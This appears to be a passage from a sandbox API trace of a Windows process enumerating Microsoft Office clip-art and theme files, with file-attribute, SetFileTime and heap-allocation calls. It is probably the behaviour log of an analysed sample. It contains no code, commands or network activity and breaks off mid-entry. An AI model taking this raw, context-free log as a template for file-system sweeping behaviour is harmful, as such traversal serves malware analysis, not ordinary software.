[0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0068.372] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0068.373] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0068.373] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0068.373] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0068.373] GetLastError () returned 0x12 [0068.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd24f8) returned 1 [0068.373] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0068.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd2600) returned 1 [0068.373] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0068.373] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="")) returned 0 [0068.373] GetLastError () returned 0x12 [0068.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0068.374] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0068.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd57a8) returned 1 [0068.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.374] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="")) returned 0 [0068.374] GetLastError () returned 0x12 [0068.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5610) returned 1 [0068.374] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0068.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5588) returned 1 [0068.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0068.374] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="")) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0068.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0068.420] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0068.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1029d60 [0068.420] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1029d60, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1029d60, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0068.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1029d60) returned 1 [0068.420] NtClose (Handle=0x198) returned 0x0 [0068.421] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0068.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0068.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5588 [0068.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5610 [0068.421] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d260 [0068.466] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.513] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="")) returned 1 [0068.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0068.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5588) returned 1 [0068.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008ce8 [0068.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2600 [0068.513] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.514] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="")) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008d08 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd24f8 [0068.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.514] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="")) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008d28 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5588 [0068.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.514] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="")) returned 1 [0068.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008d48 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1029d78 [0068.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.515] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="")) returned 1 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008d68 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1029e80 [0068.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.515] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="")) returned 1 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008d88 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1029f88 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2b00) returned 0x102dd60 [0068.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1020c10) returned 1 [0068.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.516] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="")) returned 1 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008da8 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102a090 [0068.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.516] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="")) returned 1 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.516] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008dc8 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd57a8 [0068.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.517] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="")) returned 1 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008de8 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102a198 [0068.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.517] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="")) returned 1 [0068.517] 